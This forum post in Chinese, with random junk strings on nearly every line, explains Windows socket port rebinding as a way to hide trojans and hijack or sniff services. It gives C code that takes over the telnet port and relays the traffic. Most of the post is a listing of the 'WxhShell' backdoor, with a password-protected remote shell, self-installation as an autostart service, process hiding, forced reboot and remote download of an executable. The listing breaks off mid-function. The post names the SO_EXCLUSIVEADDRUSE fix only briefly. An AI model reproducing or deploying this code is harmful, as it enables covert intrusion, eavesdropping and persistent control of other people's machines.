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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _C*fs< #  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >\P@^ h]  
wc}5m Hs  
  saddr.sin_family = AF_INET; E%,^Yvh/  
!W}9no  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); "AsKlKz{B  
# Oc] @  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); o.!~8mD  
7` zHX&-W  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ?IqQ-C)6D  
OuID%p"O  
  这意味着什么?意味着可以进行如下的攻击: Y4`}y-'d  
Tz8PSk1[  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 v50bdj9}k  
PGhY>$q>b  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) bB1UZ O  
Vr`R>S,-  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 NflD/q/ L  
;S^'V  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  q$Zh@  
WrxP  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 d"*uBVzXm  
- -HZX  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 H Y&DmE  
[S9K6%w_!  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;5S9y7[i|  
l3Q(TH~I  
  #include #*K}IBz  
  #include 8<pzb}xK  
  #include 9=8iy w  
  #include    lhAX;s&9  
  DWORD WINAPI ClientThread(LPVOID lpParam);   t\~P:"  
  int main() |y!=J$ $_H  
  { (a.z9nqGA  
  WORD wVersionRequested; w[zjerH3  
  DWORD ret; =hC,@R>;  
  WSADATA wsaData; d iL +:H  
  BOOL val; 1{ ~#H<K  
  SOCKADDR_IN saddr; p.v0D:@&  
  SOCKADDR_IN scaddr; QkEvw<  
  int err; 8 D3OOab  
  SOCKET s; mS$j?>m  
  SOCKET sc; tl,.fjZn  
  int caddsize; =[cS0Sy  
  HANDLE mt; bLij7K 2H  
  DWORD tid;   7Bzq,2s  
  wVersionRequested = MAKEWORD( 2, 2 ); pfA|I*`XV  
  err = WSAStartup( wVersionRequested, &wsaData ); v &Yi  
  if ( err != 0 ) { QwJV S(Gs4  
  printf("error!WSAStartup failed!\n"); N kb|Fd/s  
  return -1; G'Q-An%z  
  } iNtaDX| %/  
  saddr.sin_family = AF_INET; JQ8fdP A  
   r@h5w_9  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 1PVtxL?1P  
xW)2<m6C&  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;qafT@ }C  
  saddr.sin_port = htons(23); .h@rLorm>  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4B =7:r  
  { nm5cpnNl  
  printf("error!socket failed!\n"); *4Thd:7 `  
  return -1; =n5zM._S-  
  } %GjM(;Tk  
  val = TRUE; p{amC ;cI$  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 =9'RM>  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 9YIM'q>`v  
  { 8uc1iB  
  printf("error!setsockopt failed!\n"); +Mo9kC  
  return -1; ov ` h  
  } tZ: _ag)o  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^ =bu(L  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 :mh_G  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 a oD`=I*<  
z1PBMSG  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ]qethaNy  
  { 8Wrh]egu1  
  ret=GetLastError(); !;&p"E|b#  
  printf("error!bind failed!\n"); (6?9BlH~  
  return -1; q>_/u"  
  } .zA^)qgL  
  listen(s,2); kO.%9wFbz  
  while(1) =x%dNf$e{W  
  { 2h|MXI\g  
  caddsize = sizeof(scaddr); b#uL?f  
  //接受连接请求 #C~+JL  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); rq8K_zp  
  if(sc!=INVALID_SOCKET) <Swt);  
  { aktU$Wbwl  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [-65PC4aN  
  if(mt==NULL) iV5yJF{ZH  
  { s:>Va GC  
  printf("Thread Creat Failed!\n"); B6u/mo<  
  break; \rx3aJl  
  } *xx'@e|<;  
  } X[*<NN  
  CloseHandle(mt); \f]k CB  
  } <C1H36p  
  closesocket(s); C]O(T2l{l  
  WSACleanup(); RkH W   
  return 0; oX#Q<2z*  
  }   `slL %j^"  
  DWORD WINAPI ClientThread(LPVOID lpParam) Yl4^AR&  
  { M>wYD\oeg  
  SOCKET ss = (SOCKET)lpParam; nOt&pq7  
  SOCKET sc; zvYq@Mhr  
  unsigned char buf[4096]; yh Yb'GK  
  SOCKADDR_IN saddr; MW! srTQ_  
  long num; 7L`A{L  
  DWORD val; y?[ v=j*U  
  DWORD ret; Pu7_ v  
  //如果是隐藏端口应用的话,可以在此处加一些判断 F3N?Nk/  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   4,bv)Im+ `  
  saddr.sin_family = AF_INET; ^ZvWR%  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); sv: 9clJ  
  saddr.sin_port = htons(23); nno}e/zqf  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @oNH@a j%  
  { *?5*m+  
  printf("error!socket failed!\n"); ;X8yFq  
  return -1; -E^vLB)O  
  } bx#>BK!  
  val = 100; F|d\k Q  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) o1-m1<ft  
  { 3B1XZm  
  ret = GetLastError(); #ZJ _T`l  
  return -1; =}lh_  
  } 3AHlSX  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5m*iE*+  
  { WQ~;;.v#  
  ret = GetLastError(); <Y*+|T+&d  
  return -1; v0 nj M  
  } Upc+Ukw  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) wg7V-+@i  
  { zcel|oz)  
  printf("error!socket connect failed!\n"); @G BxL*e  
  closesocket(sc); Sc>,lIM  
  closesocket(ss); S'|,oUWDb  
  return -1; ?zeJ#i  
  } ^WHE$4U`  
  while(1) T_i:}ul  
  { $*SW8'],`  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 >sfRI]OG  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 whmdcVh.  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Vr)<\h  
  num = recv(ss,buf,4096,0); 4~k\j  
  if(num>0) 6DM$g=/ '  
  send(sc,buf,num,0); d:ARf  
  else if(num==0) aH 4c02s$  
  break; E[2m&3&  
  num = recv(sc,buf,4096,0); 33o9Yg|J~  
  if(num>0) V^7V[(~`  
  send(ss,buf,num,0); bt"W(m&f  
  else if(num==0) Q;[,Q~c[u  
  break; `e(c^z#  
  } qOe+ZAJ{%N  
  closesocket(ss); H;?{BV  
  closesocket(sc); '{a/2 l  
  return 0 ; j.C`U(n}`  
  } :9O#ObFR  
Uo-)pFN^  
7R`M,u~f2^  
========================================================== $h5xH9x ;  
M=%l}FSTw(  
下边附上一个代码,,WXhSHELL W}--p fG  
'= _/1F*q  
========================================================== *}]Nf  
jq-p;-i  
#include "stdafx.h" DQNnNsP:M-  
8}c$XmCM  
#include <stdio.h> ?{\nf7Y  
#include <string.h> ^$%S &W  
#include <windows.h> Ky|88~}:C9  
#include <winsock2.h> 8I-u2Y$Sr  
#include <winsvc.h> u\E?Y[1  
#include <urlmon.h> Usr@uI#{J  
TkE 8D n  
#pragma comment (lib, "Ws2_32.lib") Gn\_+Pj$  
#pragma comment (lib, "urlmon.lib") /mXBvY  
6FUw"|\u{  
#define MAX_USER   100 // 最大客户端连接数 ?5U2D%t  
#define BUF_SOCK   200 // sock buffer  +EFgE1w  
#define KEY_BUFF   255 // 输入 buffer g'p K  
9:fOYT$8  
#define REBOOT     0   // 重启 B.wYHNNV  
#define SHUTDOWN   1   // 关机 *meZ8DV2DH  
FqkDKTS\&  
#define DEF_PORT   5000 // 监听端口 `sUZuWL_  
wHsYF`  
#define REG_LEN     16   // 注册表键长度 3Vsc 9B"w  
#define SVC_LEN     80   // NT服务名长度 #hW;Ju73  
nIAx2dh?  
// 从dll定义API 8yRJD[/S  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m$`RcwO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6Se?sHC>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ji1viv  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); YsG%6&zEq  
sC27FVwo  
// wxhshell配置信息 l*ayd>`~x  
struct WSCFG { \qR7mI/*  
  int ws_port;         // 监听端口 j Yx38_5e  
  char ws_passstr[REG_LEN]; // 口令 -#0qV:D  
  int ws_autoins;       // 安装标记, 1=yes 0=no tna .52*/  
  char ws_regname[REG_LEN]; // 注册表键名 ]p*l%(dhY  
  char ws_svcname[REG_LEN]; // 服务名 V\6=ySx  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 VOKZ dC-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 kv8Fko  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 DamC F  
int ws_downexe;       // 下载执行标记, 1=yes 0=no r^h4z`:L  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" x N=i]~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 m*ISa(#(,  
]P#XVDn+;  
}; $9 ]m=S  
{SwQ[$k=_  
// default Wxhshell configuration @'YS1N<  
struct WSCFG wscfg={DEF_PORT, i#7DR>XF/  
    "xuhuanlingzhe", WF2}-NU"  
    1, BsBK@+ZyI  
    "Wxhshell", {xwm^p(f  
    "Wxhshell", 2uG0/7  
            "WxhShell Service", s<*XN NE7  
    "Wrsky Windows CmdShell Service", 0F@"b{&0  
    "Please Input Your Password: ", 7 ]^M>#  
  1, (>F%UY  
  "http://www.wrsky.com/wxhshell.exe", SLO%7%>p  
  "Wxhshell.exe" 6Ca(U'  
    }; C2@,BCR  
Ol1e/Wv  
// 消息定义模块 `%CtWJ(e  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; '=[?~0(B  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4?0vso*X<:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ">~.$Jp_4  
char *msg_ws_ext="\n\rExit."; ) u3 Zm  
char *msg_ws_end="\n\rQuit."; .9R [ *<  
char *msg_ws_boot="\n\rReboot..."; .nG#co"r}3  
char *msg_ws_poff="\n\rShutdown..."; :r%P.60H X  
char *msg_ws_down="\n\rSave to "; nNrPHNfqD  
~ }F{vm  
char *msg_ws_err="\n\rErr!";  =Qh\D  
char *msg_ws_ok="\n\rOK!"; RD\  
km)zMoE{c{  
char ExeFile[MAX_PATH]; zfI>qJ+Nqt  
int nUser = 0; +cIUGF p}  
HANDLE handles[MAX_USER]; k9)jjR*XxG  
int OsIsNt; PH`9MXh  
="x\`+U  
SERVICE_STATUS       serviceStatus; =jSb'Vu|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; A~Y^VEn  
b}0,\B%  
// 函数声明 6;C3RU]  
int Install(void); :q=%1~Idla  
int Uninstall(void); #~SP)Ukp  
int DownloadFile(char *sURL, SOCKET wsh); 1=#q5dZ]  
int Boot(int flag); EPS={w$'s  
void HideProc(void); )A!>=2M `  
int GetOsVer(void); EG0WoUX|  
int Wxhshell(SOCKET wsl); TftHwe):V  
void TalkWithClient(void *cs); L~(_x"uXd  
int CmdShell(SOCKET sock); Ae69>bkE0  
int StartFromService(void); +#GQ,  
int StartWxhshell(LPSTR lpCmdLine); =g/{%;  
k9$K}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Mzsfo;kk+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <.pU,T/  
eAX )^q  
// 数据结构和表定义 jZh';M8"  
SERVICE_TABLE_ENTRY DispatchTable[] = ;FBUwR}  
{ 0|2%vh>J  
{wscfg.ws_svcname, NTServiceMain}, XpmS{nb  
{NULL, NULL} bA= |_Wt  
}; >wb 'QzF:  
SGh1 DB  
// 自我安装 lrnyk(M}Q.  
int Install(void) *F ? 8c  
{ U"q/rcA  
  char svExeFile[MAX_PATH]; Qi_>Mg`x  
  HKEY key; U Z.=aQ}M  
  strcpy(svExeFile,ExeFile); r)Ap8?+  
V2$h8\a  
// 如果是win9x系统,修改注册表设为自启动 CLeG<Hi ~  
if(!OsIsNt) { b'J'F;zh>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t=_J9|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )jkXS TZ  
  RegCloseKey(key); Q>/C*@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A/s>PhxV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M7+nW ; e%  
  RegCloseKey(key); Ul2R'"FB  
  return 0; +|bmT  
    } AgV G`q  
  } >y.%xK  
} R&|mdY8  
else { t<~$  
D|rFu  
// 如果是NT以上系统,安装为系统服务 Xv< B1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); uwa~-xX6  
if (schSCManager!=0) vJ\pR~?  
{ 4AG\[f 8q  
  SC_HANDLE schService = CreateService 43={Xy   
  ( T^T[$26  
  schSCManager, r) $+   
  wscfg.ws_svcname, (4'$y`Z  
  wscfg.ws_svcdisp, 'rMN=1:iu"  
  SERVICE_ALL_ACCESS, M&N B/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <@}I0  
  SERVICE_AUTO_START, vw>2(K=e1  
  SERVICE_ERROR_NORMAL, '|S%a MLZ)  
  svExeFile, w=j  
  NULL,  Np'2}6P  
  NULL, Nc+,&R13m  
  NULL, o4*+T8[|5  
  NULL, 58%#DX34M  
  NULL S:TgFt0  
  ); e*@{%S  
  if (schService!=0)  1WY/6[  
  { Zm=(+ f  
  CloseServiceHandle(schService); 2>86oP&  
  CloseServiceHandle(schSCManager); mjWU0Gh%*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2Yp7  
  strcat(svExeFile,wscfg.ws_svcname); {]E+~%Va  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { f>piHh?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h3*Zfl<]  
  RegCloseKey(key); 3pK*~VK  
  return 0; (q{Ck#+  
    } LbaK={tR  
  } ogL EtqT  
  CloseServiceHandle(schSCManager); jV? }9L^;  
} PQK(0iCo4  
} k]5Bykf`Ky  
z;A>9vQ_J  
return 1; Vs%|pIV  
} Row)hx8  
S+'rG+NJ  
// 自我卸载 SfJ./ny  
int Uninstall(void) ]Ar\c["  
{ r*$Ner  
  HKEY key; n) k1  
@y82L8G/  
if(!OsIsNt) { wY~&Q}U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1Ab>4UhD  
  RegDeleteValue(key,wscfg.ws_regname); C8 vOE`U,J  
  RegCloseKey(key); 4'-|UPhx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YnxRg  
  RegDeleteValue(key,wscfg.ws_regname); n| b5? 3  
  RegCloseKey(key); ,y+$cM(  
  return 0; 4m*M,#mV  
  } a@\D$#2r  
} EhO|~A*R  
} E<C&Cjz:H  
else { U Z|HJ8_  
dbOdq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); W D T]!  
if (schSCManager!=0) z I+\Oll#Q  
{ H ,+? t  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xdf82)  
  if (schService!=0) =JKv:</.G  
  { mt5KbA>nU  
  if(DeleteService(schService)!=0) { /9zE^YcT  
  CloseServiceHandle(schService); V5GW:QT  
  CloseServiceHandle(schSCManager); Tszp3,]f  
  return 0; 34wkzu  
  } *^RmjW1I  
  CloseServiceHandle(schService); MXzVgy  
  } "y_#7K  
  CloseServiceHandle(schSCManager); %H]lGN)  
} X=Ys<TM,  
} G7)Fk%>  
p=C%Hmd5E  
return 1; m;D- u>o  
} Wm);C~Le  
$KLD2BAL  
// 从指定url下载文件 I!>\#K  
int DownloadFile(char *sURL, SOCKET wsh) J?Dq>%+ ^  
{ # eCjn  
  HRESULT hr; *P 3V  
char seps[]= "/"; `ORECg)  
char *token; e"'#\tSG  
char *file; zGc: @z  
char myURL[MAX_PATH]; ++aL4:  
char myFILE[MAX_PATH]; )u/H>;L P  
2*N_5&9mE  
strcpy(myURL,sURL); OM|Fwr$  
  token=strtok(myURL,seps); .Wq@gV  
  while(token!=NULL) K"b`#xN(t  
  { AgRjr"hF*e  
    file=token; 1fo U  
  token=strtok(NULL,seps); rp6q?3=g  
  } j6  
>IX/< {);M  
GetCurrentDirectory(MAX_PATH,myFILE); )r[&RGz6  
strcat(myFILE, "\\"); hSK;V<$[Z  
strcat(myFILE, file); ,oNOC3 U  
  send(wsh,myFILE,strlen(myFILE),0); ZVbl88,(l  
send(wsh,"...",3,0); e]T`ot#/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); C=s1R;"H  
  if(hr==S_OK) p|Q*5TO  
return 0; !<UJ6t}  
else 7C$ 5  
return 1; cZ(elZ0~  
p_UlK8rb  
} j:}DBk  
;U<rc'qE  
// 系统电源模块 Iw<jT|y)  
int Boot(int flag) @^;j)%F}  
{ N?5x9duK  
  HANDLE hToken; =7m}yDs6$  
  TOKEN_PRIVILEGES tkp; Q2A7mGN  
i~3u>CT  
  if(OsIsNt) { 3d-%>?-ee  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hzI|A~MFB  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?7 M.o  
    tkp.PrivilegeCount = 1; *loOiM\5a  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -F=v6N{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @x eAc0.^  
if(flag==REBOOT) { = pI?A^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) TLd`1Ac  
  return 0; [kqYfY?K  
} C-8qj>  
else { ?-tVSRKQ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?KITC;\\  
  return 0; 4*aZ>R2hO  
} 4J?t_)  
  } Y3h/~bM%  
  else { ]c&<zeX,  
if(flag==REBOOT) { 4GR!y)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {8R"O{  
  return 0; 0QvT   
} , =aJVb=C  
else { ifo7%XPcg  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5OO'v07b  
  return 0; 4Q IE8f Y  
} 557(EM  
} wHIj<"2  
%?aS#4jI  
return 1; pGSai &  
} >6oOZbUY0  
sz @p_Z/  
// win9x进程隐藏模块  J*l4|^i<  
void HideProc(void) oQv3GpO  
{ \}~s2Y5j  
Y-'78BJk  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); U xD5eJJ  
  if ( hKernel != NULL ) }<z_Q_b+e  
  { q %0Cg=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hky;CD~$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); S!PzLTc  
    FreeLibrary(hKernel); +dBz`W D  
  } LTJc,3\,  
% aUsOB-RV  
return; >HPdzLY?  
} $5L0.$Tj  
, * ]d~Y  
// 获取操作系统版本 66#"  
int GetOsVer(void) sz-- 27es  
{ __[xD\ES  
  OSVERSIONINFO winfo; PyA&ZkX>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); zZiJ 9 e  
  GetVersionEx(&winfo); m=Q[\.Ra  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) T6pLoaKu  
  return 1; kD) $2I?  
  else }pa9%BQI  
  return 0; 9S[XTU  
} Bm\qxQ  
_5MNMV LwW  
// 客户端句柄模块 QRLJ_W^&u  
int Wxhshell(SOCKET wsl) )RYG%  
{ bS >0DU   
  SOCKET wsh; 5'w^@Rs5  
  struct sockaddr_in client; /%4_-Cpm  
  DWORD myID; 5j0{p$'9  
W23]Bx  
  while(nUser<MAX_USER) BZb]SoAL  
{ n,~;x@=5  
  int nSize=sizeof(client); !GW ,\y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); aZKOY  
  if(wsh==INVALID_SOCKET) return 1; r-kMLw/)  
PY3ps2^K.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >/<:Q  &  
if(handles[nUser]==0) v(l eide  
  closesocket(wsh); 6DL[ aD  
else ES<{4<Kpx  
  nUser++; W>M~Sk$v  
  } VD4C::J  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7Z UiY  
y<XlRTy[}  
  return 0; $|KaBx1  
} ;NV'W]  
L:M0pk{T  
// 关闭 socket  q{die[J  
void CloseIt(SOCKET wsh) PuxK?bwC  
{ k>E`s<3  
closesocket(wsh); |3K)$.6~  
nUser--; .$", *d  
ExitThread(0); x'Pi5NRE  
} >QHo@Zqj(  
Gg\G'QU  
// 客户端请求句柄 XT,#g-oi  
void TalkWithClient(void *cs) 7ou46v|m5  
{ )'Wb&A'  
M}DH5H"s  
  SOCKET wsh=(SOCKET)cs; @c'|Iqy`  
  char pwd[SVC_LEN]; 0aR,H[r[?  
  char cmd[KEY_BUFF]; JK#vkCkyM  
char chr[1]; Ufo>|A6;$  
int i,j; 5FC4@Ms`  
2JmZ{  
  while (nUser < MAX_USER) { 1\dn 1Hh  
4gdY`}8b^}  
if(wscfg.ws_passstr) { /w]&t\]*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k:A|'NK~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I\\QS.2  
  //ZeroMemory(pwd,KEY_BUFF); FVF-:C  
      i=0; 8*g ^o\M  
  while(i<SVC_LEN) { t ]c{c#N/  
Io2mWvu?5  
  // 设置超时 +Ra3bjl  
  fd_set FdRead; L;W.pe0  
  struct timeval TimeOut; ql5x2n  
  FD_ZERO(&FdRead); OMihXt[  
  FD_SET(wsh,&FdRead); Uz%Z&K  
  TimeOut.tv_sec=8; $R8w+ Id  
  TimeOut.tv_usec=0; ZX b}91rzt  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -Uo?WXP]B'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /T0nLp`gi  
=He. fEy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C9Bh@v%90^  
  pwd=chr[0]; <Y'>F!?#  
  if(chr[0]==0xd || chr[0]==0xa) { (I{ $kB"p  
  pwd=0; K8^kJSF\  
  break; ly4Qg\l  
  } 0"xPX#Cvj  
  i++; rFJ[dz  
    } Snf"z8sw  
ID};<[  
  // 如果是非法用户,关闭 socket S"snB/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,D80/2U^  
} `PI(%N  
XeUC0K[D  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); TUp%FJXA|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3Rl,GWK  
ned2lC&'d>  
while(1) { 5 HV)[us  
#~?kYCtC)  
  ZeroMemory(cmd,KEY_BUFF);  eIPG#A  
~@I@}n  
      // 自动支持客户端 telnet标准   m4ApHM2  
  j=0; NB8&   
  while(j<KEY_BUFF) { 1M%S gV-#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !)NidG  
  cmd[j]=chr[0]; ]Ql 0v"` F  
  if(chr[0]==0xa || chr[0]==0xd) { OCyG_DLT$5  
  cmd[j]=0; !UV5zmS  
  break; N:+ taz-  
  } ),@f6](  
  j++; /k:$l9C[  
    } 83 ]PA<R  
00vBpsZj2;  
  // 下载文件 b_$ 1f >  
  if(strstr(cmd,"http://")) { qFR dg V>8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 96|[}:+$&:  
  if(DownloadFile(cmd,wsh)) Q]JX`HgPaU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o96:4j4  
  else ?Z %:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S;@ay/*~  
  } EU`T6M  
  else { 0=U70nKr  
Lue|Plm[y  
    switch(cmd[0]) { rjojG59U>  
  'u[%}S38  
  // 帮助  ;\b@)E}  
  case '?': {  #ch  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }HZ{(?  
    break; v ahoSc;sw  
  } @YL}km&Fw  
  // 安装 wODvc9p}]  
  case 'i': { hCc0sRp  
    if(Install()) O+ .*lo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QocQowz  
    else -$4kBYC l+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -6EK#!+  
    break; W"(u^}  
    } 66ohmP@04Z  
  // 卸载 ^7XAw: ?  
  case 'r': { }Zl"9A#K  
    if(Uninstall()) Px4/O~bLk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  mIc:2.q^  
    else z-u?s`k**  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *{/@uO  
    break; F&@|M(  
    } ]rX9MA6  
  // 显示 wxhshell 所在路径 sB7" 0M  
  case 'p': { tEhr  
    char svExeFile[MAX_PATH]; OeTu?d&N  
    strcpy(svExeFile,"\n\r"); ( )|3  
      strcat(svExeFile,ExeFile); !L\'Mk/=A  
        send(wsh,svExeFile,strlen(svExeFile),0); .|]IwyD &  
    break; $B _Nc*_e  
    } [e4![G&y`  
  // 重启 w7Dt1axB  
  case 'b': { G%hO\EO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #\FT EY!  
    if(Boot(REBOOT)) Q-('5a19J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pt!'v$G/*  
    else { 3IyZunFT  
    closesocket(wsh); YF[$Q=7.  
    ExitThread(0); pC^[[5A  
    } >[3X]n,0  
    break; uW[3G  
    } /7p>7q 9g  
  // 关机 *TnzkNN_,  
  case 'd': { <'*4j\*  
